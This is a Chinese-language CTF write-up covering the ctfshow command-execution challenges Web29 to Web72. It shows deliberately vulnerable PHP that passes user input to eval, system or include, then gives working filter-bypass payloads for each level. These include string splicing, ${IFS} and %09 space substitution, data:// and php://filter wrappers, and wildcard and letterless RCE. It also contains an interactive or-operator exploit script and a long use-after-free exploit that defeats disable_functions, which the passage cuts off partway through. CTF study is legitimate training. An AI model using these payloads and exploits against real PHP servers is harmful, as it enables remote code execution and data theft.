[PHP知识库] ctfshow 命令执行

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[PHP知识库]ctfshow 命令执行

Web29

题目:命令执行，需要严格的过滤

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

分析:给c传入一个值,返回flag

使用system,ls查看当前目录文件,发现flag.php

cat flag.php什么也没有

过虑了flag

使用cat f* 代替cat flag.php

查看源代码获得flag

Web30

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过虑了flag,system,php

使用字符串拼接进行绕过

payload:c= $a = " s y s ";$ b=“tem”; $z =$ a. $b;$ s(‘cat f*’);

Web31

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过虑了:flag system php cat sort shell . 单引号

过虑了system可以使用passthru

并且过虑了cat 则可以使用more进行绕过

payload:?c=passthru($_POST[a]);

然后post进行传参

获取flag

Web32

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过虑了:flag flag system php cat sort shell . 单引号空格反单引号 echo 分号

过虑空格可以使用${IFS} %0a进行过虑分号可以使用?>进行过虑

过虑了括号,就不能使用带括号的函数,使用include 进行文件包含

配合php伪协议进行读取文件

payload:?c=include ${IFS}$ _POST[a]?>

a=php://filter/read=convert.base64-encode/resource=flag.php

解码获得flag

Web33

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过虑了:flag flag system php cat sort shell . 单引号空格反单引号 echo 分号双引号

只是多过虑一个双引号

做法同Web32

Web34

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过虑了:flag flag system php cat sort shell . 单引号空格反单引号 echo 分号双引号

做法同上

Web35

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过虑了:flag flag system php cat sort shell . 单引号空格反单引号 echo 分号双引号 < =

做法同上

Web36

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过虑了:flag flag system php cat sort shell . 单引号空格反单引号 echo 分号双引号 < = / 数字

做法同上

Web37

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

使用data伪协议

date://text/plain;base64,编码

<?php system("cat flag.php");?>

payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

或?c=data://text/plain,<?php system("cat fl\*");?>

获得flag

Web38

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过虑了flag php file

使用data伪协议进行base64编码

payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

获得flag

Web39

源码:

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }     
}else{
    highlight_file(__FILE__);
}

过虑了flag 并对c进行拼接.php

使用data伪协议,

data伪协议相当于执行了php文件,并且闭合,则后面的.php就以html的形式执行显示在后面

payload:?c=data://text/plain,<?php system("cat fla\*");?>

Web40

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

可以看到过虑括号但是过虑的是中文括号而不是英文括号

引号也被过虑了,不能用伪协议

首先需要知道当前目录的文件

scandir()函数可以扫描目录

首先如何构造scandir(’.’)

php函数:

localeconv():返回本地数字及货币格式信息的数组.数组的第一项为**.**

pos()或cureent():返回数组的第一个值

arrary_reverse():数组逆序

netx():将指针指向数组的下一个指针并输出

注:pos(localeconv())永远是点.

构造payload:print_r(scandir(pos(localeconv())));

获取当前目录文件

flag.php在倒数第二个

将数组进行反转

payload:print_r(array_reverse(scandir(pos(localeconv()))));

然后使用next()指向flag

payload:print_r(next(array_reverse(scandir(pos(localeconv())))));

然后使用highlight_file()或者show_source()进行读取flag

payload:?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

或?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

Web41

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

尝试从ascii为0-255的字符中，找到或运算能得到我们可用的字符的字符

脚本rce_or.php:

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

脚本exp.py:

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER：python exp.py <url>')
   print("eg：  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function：") )+action(input("[+] your command："))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

运行exp.py获得flag

Web42

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

传入的c会和后面的字符串进行拼接,然后被执行

只需在c后面添加**;**即可绕过

Web43

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

先对c进行了判断,如果不含有cat ;

则执行下面

可以使用more代替cat %0a代替;

payload:?c=more flag.php%0a

Web44

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在过虑了cat ; 基础上过虑了flag

payload:?c=more fla*.php%0a

Web45

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在上一题的基础上过虑了空格

使用${IFS}进行绕过

payload:?c=more${IFS}fla*.php%0a

Web46

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在上一题的基础上过虑了数字 $ *

既然过虑了*和$

空格使用%09进行绕过

*使用?进行绕过

payload:?c=more%09fla?.php%0a

Web47

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过虑了: ; cat flag 空格数字 $ * more less head sort tail

不用使用more了

使用tac替代more

payload:?c=tac%09fla?.php%0a 或?c=nl%09fla?.php%0a

Web48

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过虑了: ; cat flag 空格数字 $ * more less head sort tail sed cut awk strings od curl 反单引号

并没有过虑tac

payload:?c=tac%09fla?.php%0a 或?c=nl%09fla?.php%0a

Web49

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过虑了: ; cat flag 空格数字 $ * more less head sort tail sed cut awk strings od curl 反单引号 %

payload:?c=tac%09fla?.php%0a 或?c=nl%09fla?.php%0a

或?c=tac%09fla’'g.php%0a

Web50

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过虑了: ; cat flag 空格数字 $ * more less head sort tail sed cut awk strings od curl 反单引号 % x09(空格) x26(&)

则不能使用%09进行绕过空格

<代替%09

payload:?c=tac<fla’'g.php%0a

Web51

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过虑了: ; cat flag 空格数字 $ * more less head sort tail sed cut awk strings od curl 反单引号 % x09(空格) x26(&) tac

过虑了tac则不能使用tac

使用nl

payload:?c=nl<fla’'g.php%0a

Web52

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

把替换空格的<>过虑了

则可以使用${IFS}进行绕过

flag不在这…

查看根目录,发现flag

payload:?c=nl${IFS}/fla’'g||

Web53

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

payload:?c=nl${IFS}fla’'g.php

Web54

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

使用paste查看文件内容

payload:?c=paste ${IFS}fla?.php 或 ?at$ {IFS}fla?.php

?at会自动匹配cat

Web55

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗？
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过虑了: a-z ; 返单引号 % x09(空格) x26(&) <>

可以使用/bin/base64 对文件夹进行加密输出

/???/???64 ???(flag.php)

payload:/???/???64 ???

解密获得flag

Web56

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗？
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

在上一题的基础上过虑了数字,则不能使用/bin/base64

这两题是无字母无数字rce

首先需要一个上传表单(中间的url需要根据题目更改)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://748bc59d-a655-4332-b02b-1a539e45ba33.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
    <!--链接是当前打开的题目链接-->
    <label for="file">文件名：</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后进行进行抓包,构造poc

改为

尝试几次就可以

然后cat flag.php即可

以下两篇文章:

Firebasky师傅:https://blog.csdn.net/qq_46091464/article/details/108513145

P神:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

Web57

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗？
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

分析得到,需要凑出36就可以并没有过虑$ ()

使用 $(())做运算

输出结果为 0

对0进行取反结果为-0

对-0进行运算结果为-1

-1得到了,只需要将-1±1…加到-36然后取反即可

可以看到*36即可得到-36

取反得到35,则在加一个得到36

36以及出来,然后将*37换成 $(($ (())))

加36次

payload: $(($ (( $(($ (())))+ $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (()))) $(($ (())))))))

Web58

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

post给c一个值

函数被禁用,

scandir():以数组的方式返回当前目录文件

print_r():输出数组

使用print_r(scandir(’.’));

查看当前目录有什么文件

然后直接使用show_source(“flag.php”);查看文件

Web59

步骤Web58

Web60

步骤Web58

Web61

步骤Web58

Web62

步骤Web58

Web63

步骤Web58

Web64

步骤Web58

Web65

步骤Web58

Web66

过虑了show_source

使用highlight_file

提示flag不在这里

查看根目录,发现flag.txt

读取/flag.txt

Web67

同Web66

Web68

禁用了highlight_file()

使用include()包含/flag.txt

Web69

同Web68

Web70

同Web68

Web71

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗？

ob_get_contents():获得缓冲区的内容

ob_end_clean():关闭缓冲区

preg_replace():执行正则表达式进行替换

可以使用exit(0) 让后面的缓冲区不执行

payload:?c=include(’/flag.txt’);exit(0);

Web72

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗？

查看文件夹

使用目录迭代器查看DirectoryIterator

获得当前目录文件

<?php
$a = new DirectoryIterator('glob://*');
foreach ($a as $f){
    echo $f->__toString()."";

}
?>

glob:///* 查看根目录所有文件

获得flag文件

include被过滤

此题有open_basedir和disable_functions限制

open_basedir:将php能打开的文件限制在指定目录中

disable_functions:禁用某些函数

exp:

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
